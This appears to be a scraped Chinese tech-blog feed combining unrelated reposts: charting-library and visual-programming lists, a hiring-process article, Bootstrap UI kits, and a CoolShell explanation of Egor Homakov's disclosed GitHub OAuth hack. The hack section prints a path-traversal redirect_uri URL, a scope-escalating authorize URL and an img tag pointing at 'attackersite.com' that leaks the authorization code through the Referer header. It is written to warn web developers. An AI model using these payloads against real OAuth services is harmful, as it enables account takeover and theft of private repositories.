IT瘾资源推荐

Javascript交互图表，适合用于web项目。

JavaScript InfoVis Toolkit

jpGraph

JpGraph 使用PHP >= 5.1 编写的数据图表。

Timeline

Bonsaijs

一个轻量级的图形库，可渲染出直观的SVG图形。

Humble Finance

HumbleFinance 是一个HTML5数据可化图表插件，交互效果良好。

Protovis

Axiis

Axiis 是一个开源的可视化数据框架，提供给初学者和专业开发人员使用。

TimeFlow

TimeFlow 是一个可视化时间分析工具。

Paper.js

一个使用HTML5 Canvas输出的JS图表库

整理自: smashingapps

可视化编程

Sat, 22 Feb 2014 00:27:10 CST

本文来自《 Visual Programming Languages – Snapshots》，作者 Eric Hosick收集了一堆关于可视化编程的工具，好多我都听都没听说过，我一股脑的全转过来，给大家看看，算是开开眼界了。本文也是参考了Wikipedia的 Visual Programming Language 词条。

另外，在原文有很多评论，其中也有很多正文没有提到的，你可以前去围观一下。

SketchPad

Maybe the first. 1963.

Lava

Learnable Programming

More of a post on different ways to learn programming.

图片来源和官方网站

Light Table

Chris Granger’s development environment. 图片来源, Wikipedia 和官方网站

Lily

Really cool and hard to describe. You need to visit their demo web page and watch their videos. 图片来源, Wikipedia 和官方网站

Limnor Studio

Little Big Planet

Someone built an An 8-bit Mechanical Adder in LittleBigPlanet

Minecraft

Touch Develop

From Microsoft research.

NodeJS 例子
 Android 例子
 Rails 例子

（全文完）

（转载本站文章请注明作者和出处酷壳 – CoolShell.cn ，请勿用于任何商业用途）

——=== 访问酷壳404页面寻找遗失儿童。 ===——

2012年10月14日 Bret Victor – Learnable Programming
2011年02月28日（麻省理工免费课程）计算机科学和编程导论
2009年06月04日 18个Web开发的IDE
2009年12月01日 Coderun.com 在线开发IDE
2011年05月04日狗日的开源软件许可证
2012年08月20日 GCC 用 C++ 来编译
2011年01月28日那些炒作过度的技术和概念
2013年12月03日 Lua简明教程

Zemanta

从“黑掉Github”学Web安全开发

Mon, 10 Feb 2014 08:16:11 CST

Egor Homakov（Twitter: @homakov 个人网站: EgorHomakov.com）是一个Web安全的布道士，他这两天把github给黑了，并给github报了5个安全方面的bug，他在他的这篇blog——《 How I hacked Github again》（墙）说明了这5个安全bug以及他把github黑掉的思路。Egor的这篇文章讲得比较简单，很多地方一笔带过，所以， 我在这里用我的语言给大家阐述一下黑掉Github的思路以及原文中所提到的那5个bug。希望这篇文章能让从事Web开发的同学们警惕。关于Web开发中的安全事项，大家可以看看这篇文章《 Web开发中的你需要了解的东西》

OAuth简介

首先，这个故事要从 Github OAuth讲起。所以，我们需要先知道什么是 OAuth。所谓OAuth就是说，第三方的应用可以通过你的授权而不用知道你的帐号密码能够访问你在某网站的你自己的数据或功能。像Google, Facebook, Twitter等网站都提供了OAuth服务，提供OAuth服务的网站一般都有很多开放的API，第三方应用会调用这些API来开发他们的应用以让用户拥有更多的功能，但是，当用户在使用这些第三方应用的时候，这些第三方的应用会来访问用户的帐户内的功能和数据，所以，当第三应用要干这些事的时候，我们不能让第三方应用弹出一个对话框来问用户要他的帐号密码，不然第三方的应用就把用户的密码给获取了，所以，OAuth协议会跳转到一个页面，让用户授权给这个第三方应用以某些权限，然后，这个权限授权的记录保存在Google/Facebook/Twitter上，并向第三方应用返回一个授权token，于是第三方的应用通过这个token来操作某用户帐号的功能和数据时，就畅通无阻了。下图简单地说明了Twitter的OAuth的授权过程。

从上面的流程图中，我们可以看OAuth不管是1.0还是2.0版本都是一个比较复杂的协议，所以，在Server端要把OAuth实现对并不是一些容易事，其总是或多或少会有些小错误。Egor就找到了几个Github的OAuth的实现的问题。

OAuth的Callback

还需要注意的是，因为OAuth是需要跳到主站的网页上去让用户授权，当用户授权完后，需要跳转回原网页，所以，一般来说，OAuth授权页都会带一个 redirect_url的参数，用于指定跳转回原来的网页。Github使用的这个跳转参数是redirect_uri参数。一般来说，redirect_uri这个参数需要在服务器端进行验证。

你想一下，如果有人可以控制这个redirect_uri这个参数，那么，你有可以让你跳转到别的网页上。如果你觉得跳转到别的网页上也无所谓，那么你就错了。别忘了，当你对这个第三方的应用授权通过后，服务方会给第三方应用返回一个授权token，这个token会被加到那个redirect_uri参数后面然后跳转回去，如果这个redirect_uri被别有用心的人改一个恶意的网址后，这个token也就被还过去了，于是授权token也就被泄漏过去了。

知道了这一切，我们就可以理解Egor提的那5个bug是什么意思了。

第一个Bug — 没有检查重定向URL中的/../

首先，我们通过 Github的redirect_uri的说明文档我们可以看到这样的说明：

如果 CALLBACK URL是: http://example.com/path

GOOD: https://example.com/path
GOOD: http://example.com/path/subdir/other

BAD: http://example.com/bar
BAD: http://example.com/
BAD: http://example.com:8080/path
BAD: http://oauth.example.com:8080/path
BAD: http://example.org

而Github对于redirect_uri做了限制，要求只能跳回到 https://gist.github.com/auth/github/callback/，也就是说，域名是git.github.com，目录是/auth/github/callback/，服务器端做了这个限制，看似很安全了。

但是，Egor发现，Github的服务器端并没有验证.. /../..这样的情况。

于是，Egor相当于构造了一个下面这样的Redirect URL：

https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE

相当于：

https://gist.github.com/homakov/8820324?code=CODE

你可以看到，认证后的跳转网页转到了别的地方去——我们知道Github的gist虽然是给你分代码片段的，但是也可以用来定制自己的东西的（比如markdown），这个gist的网页当然是被我们的Egor控制的。

第二个BUG — 没有校验token

第一个bug其实并没有什么，如果服务器端要校验一下token是否和之前生成的token的redirect_uri一模一样，只要服务器做了这个验证，第一个bug完全没有什么用处，但是，github的服务端并没有验证。这就是第二个bug，于是第一个和第二个bug组合起来成了一个相当有威力的安全漏洞。

第三个BUG — 注入跨站图片

现在，redirect_uri带着code，安全地跳到了Egor构造的网页上：

https://gist.github.com/homakov/8820324?code=CODE

但是，这个是gist的网页，你无法在这个页面上运行前端（Javascript）或后端程序（Ruby——Github是Ruby做的），现在的问题是我们怎么得到那个code，因为那个code虽然后带到了我的网页上来，但那个网页还是github和用户自己的环境。

到这里，一般来说，黑客会在这个页面上放一个诸如下面的一个链接，来引诱用户点击，：

这样，当页面跳转到黑客的网站上来后，你之前的网页上的网址会被加在http头里的 Refere 参数里，这样，我就可以得到你的token了。

但是，在gist上放个链接还要用户去点一下，这个太影响“用户体验”了，最好能嵌入点外部的东西。gist上可以嵌入外站的图片，但是github并非等闲之辈，对于外站的图片，其统统会把这些图片的url代理成github自己的，所以，你很难搞定。

像程序员一样的思考

不过，我们可以用一个很诡异的技巧：

<img src=”///attackersite.com”>

这个是什么玩意？这个是个URL的相对路径。但是为什么会有三个///呢？呵呵。这个时候，我们需要以“程序员的编程思维”来思考问题——如果你是程序员，你会怎么写校验URL的程序？你一定会想到使用正则表达式。于是，

对于绝对路径：你会匹配两个//，后面的可能会是 user@host.com（user@是可选的），然后可能会有:<n>端口号，然后是/，后面是服务器的路径，再往后面应该是?后面带一些参数了。

对于相对路径：就没有绝对路径那么复杂了。就是些 .. 和 /再加上?和一些参数。

好了，如果coolshell.cn网页中的相对路径是 /host.com，那么浏览器会解释成：http://coolshell.cn/host.com，如果是///host.com，那么就应该被浏览器解释成 http://coolshell.cn///host.com。

但是，Chrome和Firefox，会把///host.com当成绝对路径，因为其正确匹配了绝对路径的scheme。如果你正在用Chrome/Firefox看这篇文章，你可以看看下面的连接（源码如下）：

CoolShell Test

<a href="///www.google.com">CoolShell Test</a>

关键是，这个Chrome/Firefox的问题被标记成了Won’t Fix，我勒个去，基本上来说，后面的程序也有可能有这样的问题，对于Perl，Python，Ruby，Node.js，PHP带的URL检查的函数库都有这样的问题。

于是，我们就可以使用这样的方式给gist注入了一个第三方站点的图片（github的服务端没有察觉到，但是浏览器端把这个链接解释到了第三方的站点上），于是请求这个图片的http头中的refere 中包含用户当前页面的URL，也包含了用户授权的code。

到这里，黑客已经拿到用户gist的权限并可以修改或查看用户私用的gist了。但是作者并没有满足，他想要的更多。

第四个bug – Gist把github_token放在了cookie里

于是Egor在用户的cookie里找到了 github_token

但是这个token没什么用，因为授权的Scope只有gists。但是这个token不应该放在用户端的cookie里，这个东西只能放在服务端。于是，Egor只能另谋出路。

第五个Bug – 自动给gist授权

因为gist是github自家的，所以估计github想做得简单一点，于是github对gist做了自动授权，于是，Egor搞了这样的一个URL（注意其中的 redirect_uri ）

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub% 2Fcallback/../../../homakov/8820324&response_type=code& scope=repo,gists,user,delete_repo,notifications

于是，这个redirect-uri不但帮黑客拿到了访问gist的token，而且还把授权的scope扩大到了用户的代码库等其它权限。于是你就可以黑入用户的私有代码区了。

其它 & 感想

于是，作者从 Github Security Bug Bounty 拿到了USD $4,000的奖励！Egor一共花了从下午2点到6点一共4个小时找到了这些Bug，平均一小时1000美刀。Egor还很得瑟的说，如果Github请他做安全顾问，他只收一小时USD $400刀，这4个小时也就$1,600。呵呵。

大家看看，这是多么有效率的赚钱方式。看看，让我们扪心自问一下，我们花了多少时间在玩那些“红包游戏”，而又搞到了多少红包？人家4个小时找了5个bug，挣了$4000美金。老天给了你我一样的时间，我们用来抽几块钱的红包，人家用自己的技能来挣奖金。这就是人和人的差距。这就是所谓的效率——你可以移步看看我写的《加班与效率》

（全文完）

（转载本站文章请注明作者和出处酷壳 – CoolShell.cn ，请勿用于任何商业用途）

——=== 访问酷壳404页面寻找遗失儿童。 ===——

Zemanta

如何招聘程序员，四步法则助你成功

Thu, 06 Feb 2014 01:29:31 CST

怎样招聘程序员

本文记录了本人招聘程序员的方法，希望能帮助你建立一个出色的团队。

一般来说招聘程序员不算难。但要总结出如何招聘程序员，特别是招聘优秀程序员还是比想象中要困难的。尤其是你要招聘一个全职的员工（无论是否远程工作）。这里面涉及到很多东西，比如文化背景，职业素养还有最重要的方面-技术领域（程序员是否知道如何实现他们口中宣称的技术）。我们假设你只是在招聘一个外包人员来做一个小项目，如果要招优秀程序员仍然是不容易的。你如何考评应聘人员？你如何知道怎样可行怎样不行？你如何发现自己是在拿钱打水漂？答案是你根本就不知道。

你竭尽全力的面试候选人然后挑选最合格人的加入团队。如果这个人不行你就换一个，直到找到那个能呆下来的。问题是没人说非得要走这个流程。我下面将分享我在招聘程序员时采用的方法，通过这种方式在过去几年里我招到了最优质的远程工作者，外包人员和全职员工。我招聘远程程序员和现场程序员时也采用了同样的方式。

在我找到了候选人后，我会让他们经历四轮面试：

四轮面试流程：

非正式HR电话沟通（电话/Skype/Google Hangout)
技术电话沟通（电话/Skype/Google Hangout）
编程测试筛选
文化融合评估如果候选人通过了所有的四轮测试，那很可能你找对人了。上述流程找到的人具有下面的特点：

技术上能够完成工作任务
能够融入公司文化
善于有效沟通和发散思维

四轮流程的目标

可能你也注意到前两轮筛选都是采用电话/Skype/Google Hangout作为沟通工具。为啥哩？答案非常简单：时间宝贵啊。时间一去不复返…如果我能为团队节省会议室，出差等我会很乐意去做。这就是电话面试的目的。通常候选人也会倾向于这种方式，毕竟这节省的是大家的时间啊。所以前几步的目的就是为了节省公司和员工的时间。

我们的目标是：节约时间！

每一轮都是在不同时间完成的。一般来说最少也得间隔4到6个小时吧。留出时间间隔的目的是让团队有时间决定是否让候选人进入下一个流程。例如：第一轮面试后团队决定放弃后续的面试，那就可以通过电子（邮件或电话）方式通知候选人然后继续自己愉快的一天。第二步第三步是一样的道理。第四步就是要上手的了，后面会细说。这也可以说是“敏捷”式招聘。每一步都是迭代式的循环并建立于上一步的成功。也可以看着是一种测试驱动（TDD)式招聘流程。第一步测试通过了吗？通过了就进入第二步。第二步通过了吗？通过了，太好了。进入第三步吧，第三步通过了吗？没有。好吧，GameOver了，不用浪费后面的时间了。

步骤细说

下面就细说一下各个步骤，并提供了参考提问，外部资源的链接以及优化流程的建议。

第一轮：非正式HR筛选（10到30分钟）

终极目标：基于基本对话和HR的经典必杀问题判断候选人是否适合目标岗位

第一轮其实是很短的。又想到了节约时间的问题—这是第一道关卡。你也可以把它变得更短。你需要确认这个人能有效的沟通，思路清晰没有社交恐惧症啥的。比如有人满嘴的”Cao” (原文是F开头的四字单词），那这种人就很可能不太适合团队。

这一轮一般交给招聘经理（有时候就是你（HR), 有时候是别人）。这一轮经理应该描述工作性质并与候选人对话。下面是一些参考问题：

为什么申请这个职位？
在X方面你有多少经验？（X就是你们正在干的事儿，或者是新技术等等）
谈谈你的上一份工作?

接下来还可以采用传统的面试问题。例如下面这些：

你会如何处理X情况？（X就是HR的经典问题）
讲讲你遇到无法解决的问题时，后来是怎样解决的？
跟同事有不同意见，你是如何处理的？
你对我们公司有了解吗？
你对我们有问题要问吗？

此时此刻，你就可也判断候选人是不是思路清晰，或者是跟你在扯八卦。也就可以判断是否进入下一步：技术筛选

第二轮：技术筛选（10到30分钟）
终极目标：采用问答形式判断候选人是否具有所需的技术（Skype/Hangout/电话形式)

技术筛选是第二道关卡。这一轮应该持续10到30分钟取决于问题的难度。如果候选人答不上的问题太多，可以随意缩短时间。所提的问题根据招聘的程序员类型有所区别。但应该覆盖正在使用的一些编程语言基础，框架基础，服务器。可以提一些开放式的问题让候选人自己解释。尽量避免问一些是/非问题。下面是一些参考问题：

NodeJS 参考提问：

请解释NodeJS里ExpressJS的作用以及你为什么会使用它
Sync和Async call的区别以及你更倾向于采用哪种方式，为什么？
你使用哪个测试框架？
知道V8是什么吗？

Android 参考提问：

什么是AsyncTask，什么时候你会使用它？
什么是ActionBar
什么是Gradle以及使用场景
如何在Android上做单元测试

Rails 参考提问：

什么是asset管道
什么是控制器(controller)?
什么是RSpec以及使用场景？
什么是路由？

通常这类面试由团队成员进行。有时候是两个程序员。如果是两个面试官，相互间要有个暗号告诉对方候选人不合适以节省时间。我之前就采用了下面的方式：
“提醒我跟你讲早上我在加油站的遭遇”
“面试结束后提醒我给我表弟打电话”

道理你应该已经懂了。自己编一个吧。至少有50%的时间你希望尽快结束面试因为候选人不靠谱。记住，目标是：节约时间。

第三轮：编程测试（2-4个小时/夜间）

终极目标：判断候选人拥有通过代码解决问题的能力。了解代码质量。

面试过程中，要求候选人采用指定的语言解决实际问题。一个有经验的程序员应该在一个小时之内解决问题。我会给出2-4小时的范围以便候选人有足够的时间完成任务。为了公平公正我一般会允许候选人在家里舒适的环境下接受面试，以排除压力并了解他们实际如何解决问题。有些公司更喜欢在现场给候选人提供电脑和网络。不管哪种方式，目标很简单：了解候选人能否写出正确的代码。

编程测试是很好的调节阀。不是说问题有多难（恰恰相反，问题很简单），而是因为你可以了解对方的代码质量，同时也能找到以下问题的答案：

候选人的沟通能力
候选人是否知道服从指示？
候选人知道如何使用 git和 GitHub吗（后面会细说）
候选人知道最佳代码实践吗？
候选人知道如何写代码吗？
候选人能通过测试吗？

如果我让候选人在空闲时间里在家面试，我一般会告诉他们我会在下午5点通过邮件告诉他们题目以及解决问题的提示。我告诉他们最迟在明天中午12点前得完成。问题会发布到GitHub/BitBucket的repo里，这个repo会为每个候选人创建一个。repo包含了所有关于问题的描述。候选人需要做的就是跟随指示并将结果发给我。下面是一些我创建的例子：

你可以fork这些例子并保存。如果你访问过这些网站中的任何一个你就会发现这里面的每一个例子都要求候选人经历一系列步骤。如果候选人不清楚干什么，他们可以跟我确认或者直接在Goolge上找答案。候选人完成后需要提交一个pull 请求给我，然后我可以进行评审。我知道不是所有人都用Git来管理源代码，所以你可以进行修改，以便采用mercurial或者SVN来管理。

这种方式可以说是神来之笔，因为它能全方面了解候选人。比如候选人是否能按时写出代码完成工作。同时也能让我审查代码来判断到底是好还是坏。基于我的经验，平均60%的候选人不能完成任务，因为他们不知道如何解决问题。这也是我让他们在家面试的原因。从第一步到第三步都可以远程进行。这为公司节约了时间。在这完成了任务的40%的人中，只有20%的人做对了，并且到这个时候基本上只剩下一两个候选人看起来不错。如果你有更多的选择当然更好。

对于这种方式有一个很正常的顾虑：万一他们作弊怎么办？如果他们叫朋友或者其他人当枪手怎么办？是有这种可能，但我认为现实中也存在这个问题。有时候程序员不知道如何解决问题就会寻求帮助。他们通过QQ向朋友求助，或者是在网上搜或者是找一些满足要求的开源项目来修改。这就是程序员的作风，管你是在家还是在公司谁关心。如果对方真是在欺骗，我想很快我也能发现。就算是对方被招进来了，团队也能很快发现问题。这时候你就需要需要决定是否要留下这个人了。

如果候选人没能完成测试，这就直接是红牌了。当然出的问题也应该足够简单让有经验的程序员能在一个小时内完成。如果不能完成，要么是题目太难了要么是候选人不合适。如果你用的是我上面提到的链接（或者类似的），那就不存在这个问题。对于那些没通过测试的，我建议放弃后面的面试直接换下一个人。

对那些完成题目的我会审查代码。如果没问题我会继续面试。这种情况其实很少。一般我会问候选人为什么会用他的方式去写代码。比如我会问一个做Android题目的人为什么会用HttpGet而不是类似OkHttp或http-request的库。对于做NodeJS题目的人我会问为什么会采用原生的http请求而不是restler或rest。问这些问题的目的是考察候选人的思维方式，也能更多的了解他们的性格。有时你也能从他们身上学到一些东西。

如果没人解决问题，那就继续发布职位需求。有时候我要发好几遍才能找到合适的人。

第四轮：文化融合评估（2-4小时）

目标：考察候选人是否能融入公司文化

到这一步，候选人通过了HR和技术的电话面试，以及编程测试。或许你认为应该聘用这个人了。但注意不要被激动冲昏头脑—你需要了解这个人是不是能够和你以及团队一起和谐共事。这时候我会把候选人带到办公室和团队见面并共用午餐。我一般叫他们在指定的时间来公司（上午11点到12点）并安排团队午饭。我们会去一个常去的地方吃饭。不要去一个高档的或者团队不熟悉的地方吃饭。否则团队不会全部参加或则气氛变味。我们需要的是平常和正常，就是一个每天工作状态的展示。这样我们能评估他的个性并试图发现一些影响团队和谐的因素。如果我们发现有人感觉不对，我们就不会聘用候选人。因为以后的路还长，如果一见不能钟情，日久就要生恨，工作也不会出色。

情景再现：有个人前几轮结果都恨优秀。我有点小激动。我带他们出去吃午饭才发现他们非常没素质，极端的具有消极进攻性（passive aggressive)而且有时非常计较。我们都应该有过这种感受：不要惹桌子对面的那个人。后来我就认为这人不适合团队也没有发offer。

你还应该带新人在办公室/园区等转一转。跟他们讲讲职位以了解他们的兴趣。问他们一些针对公司的宽泛问题，看他们是否对公司进行过了解。总之就是要了解这个人。你要问自己这样一个问题：要是这个人在下班后跟你一起吃饭喝东西你愿意吗？如果你的回答是不，那又是红牌需要商榷了。

候选人走后，和团队的人聊一聊他们的看法（如果这个人是招进来的第一个人，只有靠直觉）。如果候选人还靠谱那就发offer，否则—下一位。

总结：

好马不好找，找好马还要省钱就更难。上面的四轮法则将帮你节省时间并找到最佳人选。不要怕尝试下一个人选。与其招庸人不如耐心等。记住，第三轮是调节阀。这里是“行”与“不行”的分水岭。如此多的人卡在这一关让我有点惊讶。祝大家找马顺利。

（第二步：如何招聘外包开发人员-待续）

如何招聘程序员，四步法则助你成功，首发于博客 - 伯乐在线。

10套超漂亮的Bootstrap UI KIT(已转Html格式)

Fri, 14 Mar 2014 15:32:33 CST

我们平时分享过不少的精品 UI KIT PSD素材，这些组件虽然很漂亮，但是要转换成HTML网页格式时却不是一件容易的事情，因为UI组件元素很多，如果要转HTML需要不少的时间，而且要精通前端技术。

Dark Velvet

暗调的UI KIT，就像黑色一样，看上去很有感觉，如果用在网站上，不知道视觉效果会怎样呢？欢迎尝试。

Vanilla Cream

质感和平面，到底哪个最好，其实没有最好，只有更好。（废话）

Metro Vibes

这个UIKIT最早是在Dribbble上看到的，现在已经有HTML版本，实在太棒了！

Modern Touch

时尚的扁平化设计风格，这个设计除了桌面平台，也十分适合手持设备，另外配色也很赞！Nice!